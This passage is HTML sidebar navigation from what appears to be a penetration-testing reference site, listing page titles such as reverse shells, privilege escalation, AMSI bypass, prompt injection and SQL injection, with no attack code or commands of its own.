|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Container - Docker
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Container - Kubernetes
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Application Escape and Breakout
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
HTML Smuggling
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Hash Cracking
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Initial Access
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Linux - Evasion
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Linux - Persistence
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Linux - Privilege Escalation
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
MSSQL Server
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Metasploit
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Bug Hunting Methodology and Enumeration
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Network Discovery
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Network Pivoting Techniques
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Office - Attacks
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Powershell
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Reverse Shell Cheat Sheet
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Source Code Management & CI/CD Compromise
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Vulnerability Reports
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Subdomains Enumeration
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - AMSI Bypass
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - DPAPI
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - Defenses
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - Download and execute methods
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - Mimikatz
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - Persistence
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - Privilege Escalation
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Windows - Using credentials
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
NoSQL Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_36">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
NoSQL Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../NoSQL%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
NoSQL Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
OAuth Misconfiguration
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_37">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
OAuth Misconfiguration
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
OAuth Misconfiguration
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
ORM Leak
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_38">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
ORM Leak
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../ORM%20Leak/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
ORM Leak
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Open Redirect
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_39">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Open Redirect
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Open%20Redirect/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Open URL Redirect
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Prompt Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_40">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Prompt Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Prompt%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Prompt Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Prototype Pollution
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_41">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Prototype Pollution
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Prototype%20Pollution/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Prototype Pollution
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Race Condition
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_42">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Race Condition
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Race%20Condition/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Race Condition
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Regular Expression
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_43">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Regular Expression
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Regular%20Expression/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Regular Expression
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Request Smuggling
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_44">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Request Smuggling
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Request%20Smuggling/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Request Smuggling
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
SAML Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_45">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
SAML Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../SAML%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
SAML Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
SQL Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_46">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
